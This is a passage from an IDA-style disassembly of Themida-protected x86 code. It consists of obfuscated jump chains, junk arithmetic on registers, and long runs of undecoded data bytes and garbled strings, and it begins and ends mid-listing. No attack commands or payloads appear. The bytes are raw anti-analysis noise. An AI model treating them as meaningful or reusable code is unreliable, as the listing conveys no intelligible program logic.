242C2900h, 65F5815Dh, 0D12E6131h, 50564DE5h, 0AA6A67B8h dd 3515E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559D86: ; CODE XREF: Themida_:0054FFDFj xor eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 jmp loc_5615AD ; --------------------------------------------------------------------------- loc_559DB2: ; CODE XREF: Themida_:0055003Bj mov edx, 453A304Fh push ebx push ecx mov ecx, 64F8Ch jmp loc_556CDC ; --------------------------------------------------------------------------- db 0BFh dd 2D7360E7h, 41E9D7F7h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559DCF: ; CODE XREF: Themida_:00565111j inc eax xchg eax, edx sub edx, 0AB660FCAh shl edx, 1 jmp loc_556A29 ; --------------------------------------------------------------------------- loc_559DDE: ; CODE XREF: Themida_:00552384j sub ebp, eax pop eax pop edx jmp loc_561E90 ; --------------------------------------------------------------------------- db 89h dd 2DE9241Ch db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559DEF: ; CODE XREF: Themida_:0056404Dj sub eax, 73582F87h shl eax, 5 push esi mov esi, 1B591D1Fh and esi, 14F54151h xor esi, 5E2B5C13h xor eax, esi pop esi or ecx, eax mov eax, [esp] add esp, 4 shl ecx, 1 add ecx, 0D8053636h jmp loc_553605 ; --------------------------------------------------------------------------- loc_559E24: ; CODE XREF: Themida_:00551B58j mov ebx, 4 add ebp, ebx pop ebx push edi push ebx mov ebx, 46D7305Fh mov edi, 46D73063h sub edi, ebx pop ebx sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push edx mov edx, 1ABB36F4h jmp loc_55AACB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 55E18951h, 0E62CBBBDh, 0DDF7450Fh, 5201E9h db 0 ; --------------------------------------------------------------------------- loc_559E69: ; CODE XREF: Themida_:00559026j add edx, edi push esi mov esi, 619E5B78h sub edx, esi push dword ptr [esp] pop esi push ebp mov ebp, esp jmp loc_55B7A5 ; --------------------------------------------------------------------------- db 68h dd 2C6h, 50241489h, 6089E99Ch, 0F988FFFFh, 0CF88D1F6h dd 0C7805966h, 80C7FEC9h, 0F78087CFh, 0EA04B9h, 5BEA2CF8h dd 0D800E92Ch, 3E2CE904h, 0FFD30BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559EB5: ; CODE XREF: Themida_:0055CEDDj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55063D ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 2404895Ch, 542722B8h, 2C452571h, 0D8F765F4h, 0FF8D00E9h dd 240C33FFh, 33240C31h, 0E95C240Ch, 2FE1h ; --------------------------------------------------------------------------- loc_559EF0: ; CODE XREF: Themida_:005509B9j pop eax push 7E80h jmp loc_552214 ; --------------------------------------------------------------------------- db 89h dd 91B95FFBh, 29537550h, 0C2815BD9h, 0AAE7940h, 5DB2C281h dd 0CA014AC6h, 5DB2EA81h, 0EA814AC6h, 0AAE7940h, 0FF84A8E9h dd 4BDFFh, 0EE290000h, 2434875Dh, 240C895Ch, 0BF57E189h dd 665D08ECh, 638868h, 241C8900h, 2A0B7EBBh, 8BDF2972h dd 0C481241Ch, 4, 10A7EF81h, 0C78167C1h, 21C0004Ch, 12F1C781h dd 0F90151CEh, 81243C8Bh, 4C4h, 0CD5FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F76: ; CODE XREF: Themida_:00559BF4j add ebp, 4 sub ebp, 4 jmp loc_5527C8 ; --------------------------------------------------------------------------- loc_559F84: ; CODE XREF: Themida_:0055E5F2j add ch, 0B2h mov edx, [esp] add esp, 4 push edx push eax mov al, 0E1h xor al, 41h mov dl, al pop eax add dl, 0ECh and dl, 0E8h or dl, 9Eh add dl, 9Eh push ecx mov cl, 39h jmp loc_559CF5 ; --------------------------------------------------------------------------- db 0F6h, 0D9h, 80h dd 0CA30E3C1h, 0D7885359h, 1C8BFD88h, 4C48324h, 59E8305Ah dd 0A5686653h, 1489666Eh, 8DB75324h, 0FE304CB6h, 0F088505Bh dd 0E958C388h, 0FFFFA7D3h, 0F86D10B8h, 5E0D157h, 0E58A6C64h dd 1DB7E9h, 59F58100h, 5179AD3Eh, 796F88B9h, 0CAC9817Ch dd 0C1049D40h, 0E98105E9h, 0BEE96FA4h, 0E959CD09h, 5346h dd 8105E3C1h, 0B1F360EBh, 7BDCE904h, 0D009FFFFh, 0FF79F7E9h dd 5F07BEFFh, 0DEF77BE4h, 0CFEE8146h, 8170EA70h, 0BB360DF6h dd 0E9F23163h, 0FFFFF06Eh, 3DF8BB53h, 72E97FBAh db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A04F: ; CODE XREF: Themida_:005648C6j mov ebx, 48154DA0h dec ebx shr ebx, 2 jmp loc_55BE97 ; --------------------------------------------------------------------------- loc_55A05D: ; CODE XREF: Themida_:0055194Dj sub eax, ebp jmp loc_550F6E ; --------------------------------------------------------------------------- dd 8704C483h, 248B240Ch, 0C8B6624h, 2916824h, 34890000h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 0C5AEE95Ch dd 0E181FFFFh, 502F7389h, 7184E981h, 0CE01500Eh, 88CFE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0A2: ; CODE XREF: Themida_:00559670j add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55CE45 ; --------------------------------------------------------------------------- dd 2203C281h, 56510F3Fh, 0BA75E6BEh, 0CE81467Ch, 378B3FC2h dd 658DC681h, 45E9E030h, 310000A9h, 0E9525FFAh, 0FFFFD1A2h dd 80CDF480h, 0EC8075F4h, 80DCF601h, 70E94BC4h, 0FF00000Ch dd 535B2434h, 0BD555B54h, 39EF6DD5h, 0F581DDF7h, 3F863FABh dd 0E581D5F7h, 67AA7FF2h, 6567E581h, 0ED810EA0h, 620405Eh dd 0E95DEB01h, 58F0h, 8E9C15Ch, 372CE9h, 24248900h, 4240483h dd 9012E959h, 5455FFFFh, 4C5815Dh, 81000000h, 2EDh, 242C8700h dd 3489665Ch, 7A686624h, 665E66FCh, 8B66F031h, 0E9532434h dd 3506h, 0FF5DB2E9h, 5EF321FFh, 42FAB850h, 0E8C13A23h dd 0A349E905h, 30BDFFFFh, 16D1B11h, 0D1015DE9h, 1130E981h dd 34FF6D1Bh, 0D7E95A24h, 83FFFF73h, 685004C4h, 0A80h dd 24048F54h, 4240483h, 40558h, 0EC830000h, 8DBBE904h dd 34890000h, 0BFB95124h, 813A9B7Ch, 12ED74C1h, 59CE892Fh dd 807CE9h db 0 ; --------------------------------------------------------------------------- loc_55A1C5: ; CODE XREF: Themida_:00557A6Dj pop esi jmp loc_55BF70 ; --------------------------------------------------------------------------- db 0C1h dd 0F58105EDh, 54CA15FDh, 1CBE581h, 0BA521177h, 91A4A1EFh dd 0FFB7BFE9h, 4C481FFh, 66000000h, 4244481h, 0D0E94B93h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1F7: ; CODE XREF: Themida_:00556A91j pop ebx sub ecx, esi mov esi, [esp] add esp, 4 push 26BCh mov [esp], ecx jmp loc_55A695 ; --------------------------------------------------------------------------- loc_55A210: ; CODE XREF: Themida_:00563CB6j add edx, 2B05796Ch sub edx, esi push ebp mov ebp, 4B46AAEh add ebp, 36F5C89h and ebp, 3725439Fh shr ebp, 2 or ebp, 7D1D3245h add ebp, 0ADE806A7h sub edx, ebp jmp loc_5572CD ; --------------------------------------------------------------------------- dd 81241C89h, 4ECh, 240C8900h, 0CF88D188h, 0FA885259h dd 8B5AD588h, 0C483241Ch, 88505304h, 83DDE9E8h, 0E95BFFFFh dd 1485h, 0E9242C89h, 4868h ; --------------------------------------------------------------------------- loc_55A274: ; CODE XREF: Themida_:00550B45j mov eax, edi pop edi sub eax, 4B6A5EECh mov ebx, eax jmp loc_55295B ; --------------------------------------------------------------------------- loc_55A283: ; CODE XREF: Themida_:005635CEj mov ebp, 4 jmp loc_5642B2 ; --------------------------------------------------------------------------- loc_55A28D: ; CODE XREF: Themida_:005515C4j push edx mov edx, 4E9F4F31h shr edx, 6 sub edx, 5C085B6Ch jmp loc_559920 ; --------------------------------------------------------------------------- db 57h, 0E9h, 0D1h dd 5BFFFF95h, 28E9EB01h, 58FFFF88h, 1C8BDC28h, 4C48324h dd 8A7DE95Ah, 0FF560000h, 5E042474h, 737EE9h, 10F18100h dd 0E9383D59h, 0FFFFC110h, 3EB85053h, 0C1087177h, 853505E0h dd 0BB229290h, 7437B12Dh, 1FABC381h, 52E93136h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2F3: ; CODE XREF: Themida_:00550400j mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_563A4A ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0B36684BEh, 5EF73173h, 90E95247h, 8BFFFFD4h dd 58682424h, 89000031h, 8B542404h, 0C4832404h, 40504h dd 0C0830000h, 7845E904h, 815A0000h, 5C042444h, 291B094Bh dd 0E904247Ch, 0FFFFDA51h ; --------------------------------------------------------------------------- loc_55A350: ; CODE XREF: Themida_:00563DC2j pop eax jmp loc_553337 ; --------------------------------------------------------------------------- loc_55A356: ; CODE XREF: Themida_:00554A0Dj or dx, 0FCDh sub dx, 0F15Dh mov si, dx jmp loc_55D3CC ; --------------------------------------------------------------------------- loc_55A368: ; CODE XREF: Themida_:00551DDCj mov ebx, 4 add ebp, 7C5E6050h add ebp, ebx sub ebp, 7C5E6050h mov ebx, [esp] jmp loc_5566AA ; --------------------------------------------------------------------------- db 0B1h dd 0C16E92Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A38A: ; CODE XREF: Themida_:005503ABj xor ebx, 0B295CC0h add ecx, ebx pop ebx add ecx, 4 jmp loc_56409A ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4815A24h, 4, 81E28952h, 4C2h, 80A9E900h dd 0E389FFFFh, 4C381h, 89530000h, 4C381E3h, 81000000h dd 4EBh, 0EB93E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3D2: ; CODE XREF: Themida_:00556CD0j shl eax, 5 sub eax, 0FFFFFFFFh dec eax push ebp mov ebp, 875B3C7Dh xor eax, ebp pop ebp sub edx, eax pop eax add ecx, edx jmp loc_556EEC ; --------------------------------------------------------------------------- loc_55A3EE: ; CODE XREF: Themida_:00559C7Bj pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_554DE2 ; --------------------------------------------------------------------------- loc_55A3FB: ; CODE XREF: Themida_:0055A514j pop dword ptr [esp] jmp loc_560C6B ; --------------------------------------------------------------------------- db 81h dd 0B732A0EBh, 0B9515E73h, 77F02C2h, 18B2BA52h, 0B0E94E94h dd 5500007Ah, 42474FFh, 83242C8Bh, 0BAE904C4h, 81FFFFAAh dd 541D3CEEh, 5EF70199h, 4C781h, 0FF570000h, 5F042474h dd 8B24048Fh, 0FCE92424h, 0B8FFFF9Eh, 11675540h, 0AA4283B9h dd 0E9C1315Ch, 1354h, 0CBEEA81h, 8152D7A0h, 537D2404h dd 2BE945BAh, 81000001h, 61643ACEh, 13CE813Dh, 0E97E670Dh dd 0FFFFBCDDh ; --------------------------------------------------------------------------- loc_55A480: ; CODE XREF: Themida_:005545D0j push 3DEEh mov [esp], ecx push 75BA4777h pop ecx mov esi, 75BA4773h xor esi, ecx mov ecx, [esp] add esp, 4 mov ebx, esi pop esi push ebx pop eax mov ebx, [esp] jmp loc_5541BF ; --------------------------------------------------------------------------- db 3 dd 241C8B03h, 4C481h, 0C8B0000h, 91D4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A4BE: ; CODE XREF: Themida_:00558C63j xor esi, [esp] pop esp jmp loc_559435 ; --------------------------------------------------------------------------- db 0BAh dd 4EC7506Eh, 8142D2F7h, 46A81BEAh, 5AD5298Ah, 5DE95645h dd 1FFFFE5h, 32C681FEh, 0FF180E44h, 575F2434h, 6E9E789h dd 5000001Fh, 4304EEB8h, 0D0E7E92Dh, 0BD55FFFFh, 56870DE3h dd 67E8E981h, 86E950D5h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A50F: ; CODE XREF: Themida_:00555EE2j push dword ptr [esp+4] pop esi jmp loc_55A3FB ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 0A44775EFh, 0C7815D0Eh, 284C2BAFh, 0ADE9F901h, 50FFFF8Dh dd 7BD3C3B8h, 2128E9A4h, 8A350000h, 0F7344F56h, 70A40DD8h dd 362D3BD8h, 89CF4177h, 1237E9C5h, 0E7C10000h, 97C78106h dd 5064101Eh, 8E2BE56h, 0C9B85D54h, 29644C5Dh, 18E95EF0h dd 81000000h, 361DCAEEh, 47C68175h, 0FF52635Eh, 575D2434h dd 8BE95F54h, 35FFFF77h, 1C0E3A6Bh, 0E958C731h, 819Fh dd 0AB33E95Bh, 2C8BFFFFh, 86B8E924h, 0E828FFFFh, 5966CC2Ch dd 6BE0E9h, 28536800h, 0AFE90000h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5B7: ; CODE XREF: Themida_:0056140Ej push edx mov dh, 6Ah jmp loc_550F2D ; --------------------------------------------------------------------------- db 29h dd 50E105C8h, 0E9591941h, 0AF3Ah, 77C2805Bh, 0DB2C262Ch dd 0D000202Ch, 0DB042004h, 7BE92604h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A5E3: ; CODE XREF: Themida_:00563E4Fj mov edx, ebx pop ebx xor edx, esi pop esi jmp loc_55DEAD ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C681h, 0E9550000h, 0FFFFF925h, 0BD55E689h, 4E527928h dd 0BFDED81h, 0D5F734FAh, 92D0F581h, 0EE01E6A7h, 3D08E95Dh dd 0C890000h, 4B924h, 0C8290000h, 24048759h, 0FF8345E9h dd 0BF5755FFh, 0A9840B0h, 14F7574Fh, 0C7815F24h, 2BBC817Dh dd 0DA6EE956h, 0BE56FFFFh, 60B3395Eh, 3B9FB951h, 0E1C12D91h dd 6E9C104h, 6E3EF181h, 0E9813805h, 0C9A2280h, 0A5BF5749h dd 8179B669h, 74AF5EF7h, 5FF93166h, 0E959CE31h, 0FFFFA563h dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 0FF64C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A695: ; CODE XREF: Themida_:0055A20Bj push dword ptr [esp+4] push dword ptr [esp] pop ecx push esi push esp pop esi add esi, 4 push eax jmp loc_557674 ; --------------------------------------------------------------------------- loc_55A6AC: ; CODE XREF: Themida_:0055CD5Ej push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] jmp loc_5546E8 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0F1h dd 0FF000054h, 48B2434h, 4C48124h, 83000000h, 14E904C4h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6D7: ; CODE XREF: Themida_:005573A1j push esp pop eax sub esp, 4 mov [esp], esi mov esi, 531803FAh and esi, 4087C99h shl esi, 6 xor esi, 2002604h jmp loc_56475F ; --------------------------------------------------------------------------- dd 4C481h, 64E90000h, 8900003Dh, 2434FFF0h, 4C4835Eh, 2085E9h db 0 ; --------------------------------------------------------------------------- loc_55A711: ; CODE XREF: Themida_:00563D34j xchg ebx, [esp] pop esp jmp loc_563D59 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0BA52D5F7h, 189D7E8Fh, 7658B951h, 0E98138AAh dd 0E501FD34h, 5759CA31h, 0FFFFFFBFh, 0E9FA01FFh, 36ECh ; --------------------------------------------------------------------------- loc_55A744: ; CODE XREF: Themida_:0055E725j mov esi, 4 sub ebx, 14E2775h jmp loc_5614C0 ; --------------------------------------------------------------------------- dd 2BAh, 0D5C18100h, 160076Ch, 941FE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A766: ; CODE XREF: Themida_:00555092j add edi, edx pop edx sub edi, esi push eax push ebx mov ebx, 0FF7254Bh jmp loc_55CAE2 ; --------------------------------------------------------------------------- db 1 aIs db 'ëéÏ}',0 align 2 dw 0C483h dd 55C38004h, 96DEE9h db 0 ; --------------------------------------------------------------------------- loc_55A789: ; CODE XREF: Themida_:00552119j xchg ebx, [esp] not ebx xchg ebx, [esp] mov edx, [esp] jmp loc_561DDD ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0C7830000h, 243C8704h, 4C4815Ch, 1000000h, 4CC181F1h dd 5E006233h, 8B240C87h, 0F8E92424h, 0BE00001Dh, 6FB1A61h dd 5D5EF001h, 67E9D801h db 8Dh, 2 dup(0) byte_55A7D3 db 66h ; DATA XREF: Themida_:0054FE0Co dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 5E08950h, 4 dd 4DD4E9h, 2434FF00h, 4C4835Ah, 6203A5F3h, 24E95338h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A803: ; CODE XREF: Themida_:00562D16j xor edi, eax jmp loc_560EF9 ; --------------------------------------------------------------------------- loc_55A80A: ; CODE XREF: Themida_:0055CAE7j inc ebx xor ebx, 9CB80A84h push ebx add dword ptr [esp], 5FCB68FAh pop eax sub eax, 5FCB68FAh pop ebx sub edi, eax pop eax pop esi add edi, ebp add edi, 33C244A9h sub edi, 502B4452h mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_55E390 ; --------------------------------------------------------------------------- db 81h dd 0A335F0EEh, 8BF3897Bh, 0C4832434h, 8BDE0104h, 0C481241Ch dd 4, 0E9243433h, 0FFFFEF71h ; --------------------------------------------------------------------------- loc_55A880: ; CODE XREF: Themida_:00553812j pop edx add ch, 0E4h push dx mov dh, 89h xor ch, dh pop dx shr ch, 5 push edx mov dl, 84h and dl, 51h and dl, 15h shr dl, 4 shr dl, 5 jmp loc_556C85 ; --------------------------------------------------------------------------- db 81h dd 0C764C4E1h, 10F18160h, 8167F564h, 0B0F89AC1h, 5BC581E0h dd 0E9003048h, 26F0h, 2DC8295Ah, 0E5C4119h, 59FEE9h, 240C3300h dd 5024248Bh, 8904EC83h, 68E9242Ch, 5DFFFFEFh, 8704E883h dd 895C2404h, 0B9512424h, 4, 1802E9h db 0 ; --------------------------------------------------------------------------- loc_55A8F5: ; CODE XREF: Themida_:00561E9Bj mov esi, [esp] add esp, 4 shr eax, 0Ah xor eax, ecx sub esp, 4 mov [esp], eax xchg eax, [esp] not eax jmp loc_5586E3 ; --------------------------------------------------------------------------- loc_55A913: ; CODE XREF: Themida_:00552FA6j add eax, 32323D5Ch add eax, edx push ebx jmp loc_5604D0 ; --------------------------------------------------------------------------- aSB db '[éÜ',0 align 2 word_55A926 dw 83ADh ; DATA XREF: Themida_:0054FCDCo dd 0C8904ECh, 6199E924h db 2 dup(0) word_55A932 dw 8B66h ; DATA XREF: Themida_:0054FDB8o dd 0C6E92404h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A93B: ; CODE XREF: Themida_:00557A25j dec ecx shl ecx, 5 dec ecx add ecx, 45EA906Ah jmp loc_55F019 ; --------------------------------------------------------------------------- loc_55A94B: ; CODE XREF: Themida_:0055FF50j add ebx, 4 xchg ebx, [esp] pop esp sub [edi+24h], ecx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 4F35h mov [esp], ecx mov ecx, esp jmp loc_5503A5 ; --------------------------------------------------------------------------- loc_55A973: ; CODE XREF: Themida_:005556A1j pop esp jmp loc_5639FC ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 5 dd 5568DBF7h, 0E9000017h, 0FFFF627Eh, 4C4835Eh, 822BE9h dd 243C8700h, 4C1815Ch, 50000000h, 243AA4B8h, 2E8C110h dd 4FE82540h, 0D0F73BB2h, 6807E8C1h, 6429h, 0BB241C89h dd 4FC09FCh, 221DE9h, 57555200h, 0FF7654E9h, 312CBAFFh dd 0E9510715h, 0FFFFEA22h ; --------------------------------------------------------------------------- loc_55A9D4: ; CODE XREF: Themida_:00562ED9j add edi, 4 push esi push 4 pop esi jmp loc_5555D1 ; --------------------------------------------------------------------------- loc_55A9E6: ; CODE XREF: Themida_:005517E6j sub eax, edi jmp loc_5574A6 ; --------------------------------------------------------------------------- db 81h, 0C2h, 2 dd 33000000h, 57E92414h, 0F7000074h, 557AE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA02: ; CODE XREF: Themida_:00553B01j push ebx push 32B11559h mov ebx, [esp] sub esp, 4 jmp loc_55FCE8 ; --------------------------------------------------------------------------- db 81h dd 0B63700E3h, 0C4EB8119h, 9E284F7h, 0E6815BDEh, 2CDF2CFEh dd 4A13E681h, 0EEC14EE7h, 0D9C68106h, 0E9645F50h, 0FFFF62B4h ; --------------------------------------------------------------------------- loc_55AA3C: ; CODE XREF: Themida_:00560DF9j pop ebx add esp, 4 jmp loc_557A2A ; --------------------------------------------------------------------------- loc_55AA45: ; CODE XREF: Themida_:0055B1DEj add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_556F09 ; --------------------------------------------------------------------------- db 0BDh dd 20F341C5h, 18E9E929h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AA77: ; CODE XREF: Themida_:00552E26j xor edx, 1743595h add edx, 0DB38D355h add edi, edx pop edx sub edi, ecx jmp loc_560561 ; --------------------------------------------------------------------------- db 59h, 0E9h, 59h dd 83FFFFE1h, 0F6604C4h, 0F96800B6h, 89000051h, 1B68243Ch dd 0E900006Eh, 1F2h, 542CEA81h, 15F6A5Fh, 70B951DAh, 81715B6Fh dd 0F2467E1h, 14F7511Dh, 87E95924h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AACB: ; CODE XREF: Themida_:00559E4Dj xor [esp+4], edx pop edx push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp push 12F4h mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] xor eax, 1ABB36F4h push edx push 24236A3Dh pop edx add edx, 0FFFFFFFFh jmp loc_560636 ; --------------------------------------------------------------------------- loc_55AB2B: ; CODE XREF: Themida_:00558669j xor [esp+4], ebp jmp loc_550071 ; --------------------------------------------------------------------------- dd 0C68837B0h, 4EC8358h, 88240489h, 0C38853F0h, 0FFCBF9E9h dd 0F6C9FEFFh, 84C980D9h, 0E941F180h, 81D3h, 4EC8350h dd 0E9242C89h, 5179h, 0BE243489h, 31B5DF0h, 0FFD450E9h dd 2E5C1FFh, 0C581DDF7h, 272518E5h, 5106E5C1h, 1E06A9B9h dd 59CD3137h, 0A1EAC581h, 0EF29BA69h, 81EF015Dh, 3C7DD3C7h dd 0C7815D7Eh, 4, 8B243C87h, 36E92424h, 0B8000004h, 2 dd 8758C201h, 0D35C2414h, 0E99C240Ch, 0FFFF5357h ; --------------------------------------------------------------------------- loc_55ABC0: ; CODE XREF: Themida_:00564600j add esp, 4 sub esp, 4 mov [esp], eax sub dword ptr [esp], 36F91078h pop ebx jmp loc_55BE61 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0AFh dd 8158D136h, 0F2DEFCBh, 0A9B8E93Ch, 8B660000h, 0CCE9242Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABF3: ; CODE XREF: Themida_:00560829j shr ebx, 7 not ebx add ebx, 280295h add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] push edi mov edi, 4 add eax, edi pop edi push ebp push 13D0h mov [esp], edi mov edi, 6F682003h mov ebp, 7F0D47E1h sub ebp, edi pop edi jmp loc_5565D2 ; --------------------------------------------------------------------------- db 59h dd 429E9h, 0A7E95100h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC37: ; CODE XREF: Themida_:00554BDEj mov [esp], ebx push dword ptr [esp] pop eax push edx mov edx, esp sub esp, 4 mov [esp], ecx push esi push ebx push 792D2042h jmp loc_555CF5 ; --------------------------------------------------------------------------- loc_55AC56: ; CODE XREF: Themida_:0055B489j add eax, esi push 0F64h jmp loc_561063 ; --------------------------------------------------------------------------- aFtSkx db '¹;ft%éKX',0 align 4 loc_55AC6C: ; CODE XREF: Themida_:0055F0A6j xor esi, 0C378A222h sub esp, 4 mov [esp], ebx mov ebx, esi mov edx, ebx pop ebx pop esi mov edi, edx pop edx shr edi, 3 push esi mov esi, 21453278h sub esi, 0E8C70E8Ah jmp loc_554AF3 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0AD1BE958h, 2489FFFFh, 50E95624h, 56000068h, 0CF3AB2BEh dd 0E9DE8732h, 8B0Ah, 0DF78F581h, 0EB81AA92h, 5C7107A6h dd 0E23EB81h, 0EB0131DBh, 0E23C381h, 0C38131DBh, 5C7107A6h dd 0EBEE9h, 0F3874600h, 0A2A5F381h, 0DD01A947h, 0BEFEE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ACEA: ; CODE XREF: Themida_:0056324Dj add esi, 2 xchg esi, [esp] jmp loc_5526FE ; --------------------------------------------------------------------------- dd 0E9240487h, 8AAFh, 51241489h, 0CDFE79B5h, 0ED80D5F6h dd 59EA88E4h, 2DD76866h, 241C8966h, 0FFBE8AE9h, 24348BFFh dd 8304C483h, 1C8704EBh, 24248B24h, 24048F54h, 4BA52h dd 54010000h, 148B0424h, 134E924h, 680000h, 29000000h dd 505B241Ch, 7F7E953h, 0C4830000h, 83C33104h, 37E904ECh dd 80FFFFBDh, 6EE9D1EFh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD67: ; CODE XREF: Themida_:005620BEj sub ecx, edx jmp loc_55F3B9 ; --------------------------------------------------------------------------- dw 0CE80h dd 2E6C042h, 2854F680h, 89515AF0h, 0BB5356E1h, 0DD75253h dd 4BBDEB81h, 0F3816661h, 4E797AF8h, 5221E9h, 242C8900h dd 4EC81h, 0CE90000h, 81000091h, 6C1FD3C3h, 82B9E903h db 2 dup(0FFh) word_55ADAE dw 8B66h ; DATA XREF: Themida_:0054FD60o dd 0EC832404h, 24348904h, 24348B54h, 4C481h, 59E90000h dd 35FFFFD6h, 0A7366AEh, 89B7E9h db 0 ; --------------------------------------------------------------------------- loc_55ADD1: ; CODE XREF: Themida_:0055D239j mov [esp], ebx mov ebx, 5CE2232Ch add edx, ebx pop ebx add edx, ebx jmp loc_55FDD6 ; --------------------------------------------------------------------------- loc_55ADE3: ; CODE XREF: Themida_:005642BCj push esp mov ebp, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_5501F1 ; --------------------------------------------------------------------------- loc_55ADF5: ; CODE XREF: Themida_:00553355j mov ecx, 7E7A221Ah jmp loc_551837 ; --------------------------------------------------------------------------- db 81h dd 6751A2E3h, 0FFC3812Eh, 81FFFFFFh, 1F5F35F3h, 0FFDD310Ch dd 0D2E92434h db 31h, 2 dup(0) byte_55AE1B db 66h ; DATA XREF: Themida_:0054FE8Co dd 9C241CF7h, 0FF50F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AE25: ; CODE XREF: Themida_:00551099j pop ecx add esp, 4 add edx, 1 jmp loc_565107 ; --------------------------------------------------------------------------- loc_55AE34: ; CODE XREF: Themida_:00556D8Bj mov [esp], edx push edi push 3B0A6E1Dh jmp loc_5563D1 ; --------------------------------------------------------------------------- dw 0EA81h dd 0B5091DC5h, 5997E957h, 0FCB9FFFFh, 17C5271h, 5904244Ch dd 8904EC83h, 0BD552434h, 0B465B3Bh, 0EB6DC6BEh, 5DEE314Ch dd 4247401h, 50A1E95Eh, 0C483FFFFh, 0C3815B04h, 4, 0E9E08950h dd 82D2h, 2B951h, 0EB810000h, 79A255ECh, 0C381CB01h, 79A255ECh dd 0E92434FFh, 48C5h ; --------------------------------------------------------------------------- loc_55AEA4: ; CODE XREF: Themida_:00560F06j push edi push 4D80h mov [esp], eax pop edi mov eax, [esp] jmp loc_55D6CE ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 56585450h, 4BEh, 5EF00100h, 8904EC83h, 68502434h dd 17771D18h, 0FFB72BE9h, 0CEB81FFh, 9A542E5h, 0F6AEE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEE6: ; CODE XREF: Themida_:005526CEj mov [esp], ebx jmp loc_555733 ; --------------------------------------------------------------------------- loc_55AEEE: ; CODE XREF: Themida_:00556591j pop eax push edx mov edx, 4 jmp loc_560390 ; --------------------------------------------------------------------------- dw 0F681h dd 233EB52Bh, 0E95EF089h, 0FFFF5D57h, 38576851h, 24890000h dd 24048324h, 0C1815904h, 4, 3304C183h, 0C31240Ch, 240C3324h dd 3324248Bh, 14312414h, 24143324h, 8124248Bh, 4ECh, 240C8900h dd 8620E950h, 2C8BFFFFh, 4C48124h, 81000000h, 4C5h, 998FE900h dd 34BAFFFFh, 4A43E23Bh, 8106E2C1h, 0CC1C9DF2h, 76F28179h dd 29ED0AF7h, 3287E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AF76: ; CODE XREF: Themida_:005501F7j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push esi mov esi, 41493687h jmp loc_552706 ; --------------------------------------------------------------------------- loc_55AF8A: ; CODE XREF: 